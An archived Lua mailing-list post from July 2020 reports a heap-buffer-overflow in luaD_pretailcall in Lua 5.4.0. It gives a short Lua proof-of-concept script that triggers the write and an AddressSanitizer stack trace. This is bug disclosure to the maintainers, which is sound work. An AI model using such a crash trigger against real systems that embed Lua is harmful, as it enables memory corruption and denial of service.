[Date Prev][Date Next][Thread Prev][Thread Next] [Date Index] [Thread Index]

- **Subject**: **heap-buffer-overflow in luaD_pretailcall**
- **From**: Rui Zhong <reversezr33@...>
- **Date**: Mon, 6 Jul 2020 22:10:29 -0400

Hi,

We found a heap-buffer-overflow in Lua (Lua 5.4.0 Copyright (C) 1994-2020 Lua.org, PUC-Rio)
Try following PoC

```
-------------------------
function
crash (  )
do
  function errfunc (  ) end coro =
    function (  )print ( xpcall ( test, errfunc ) )
    print ( setmetatable ( { }
                , { __gc = function (  )asserty = k + 1 end }
               ) )end coro (  )return load ( string.
                   dump ( function
                      ( p8, p9, p10, p11, p12, p13,
                          p14, p15, p16, p17, p18,
                          p19, p20, p21, p22, p23,
                          p24, p25, p26, p5, p6, p7,
                          p8, p9, p10, p11, p12, p13,
                          p14, p15, p16, p17, p18,
                          p19 ) end ) ) (  )end end
                   for i
                   = 1, 5
                    do
                      crash (  )end
-------------------------
```

Compile Lua with Address sanitizer and run above PoC.
Asan log:

```
=================================================================
==5190==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6160000017e8 at pc 0x000000414661 bp 0x7ffd48797200 sp 0x7ffd487971f0
WRITE of size 1 at 0x6160000017e8 thread T0
  #0 0x414660 in luaD_pretailcall (/home/yongheng/lua_asan/lua+0x414660)
  #1 0x4429b6 in luaV_execute (/home/yongheng/lua_asan/lua+0x4429b6)
  #2 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)
  #3 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
  #4 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)
  #5 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)
  #6 0x40bd47 in lua_pcallk (/home/yongheng/lua_asan/lua+0x40bd47)
  #7 0x4051e6 in docall (/home/yongheng/lua_asan/lua+0x4051e6)
  #8 0x40664d in pmain (/home/yongheng/lua_asan/lua+0x40664d)
  #9 0x414de1 in luaD_call (/home/yongheng/lua_asan/lua+0x414de1)
  #10 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
  #11 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)
  #12 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)
  #13 0x40bd47 in lua_pcallk (/home/yongheng/lua_asan/lua+0x40bd47)
  #14 0x4049b4 in main (/home/yongheng/lua_asan/lua+0x4049b4)
  #15 0x7f6aeba2282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
  #16 0x405008 in _start (/home/yongheng/lua_asan/lua+0x405008)
=================================================================
```

Best,
Yongheng and Rui

- **Follow-Ups**:
  - **Re: heap-buffer-overflow in luaD_pretailcall**, *Roberto Ierusalimschy*
  - **Re: heap-buffer-overflow in luaD_pretailcall**, *Andrew Gierth*

- Prev by Date: **heap-buffer-overflow in getobjname**
- Next by Date: **Re: Heap overflow in luaH_get**
- Previous by thread: **Re: heap-buffer-overflow in getobjname**
- Next by thread: **Re: heap-buffer-overflow in luaD_pretailcall**
- Index(es):
  - **Date**
  - **Thread**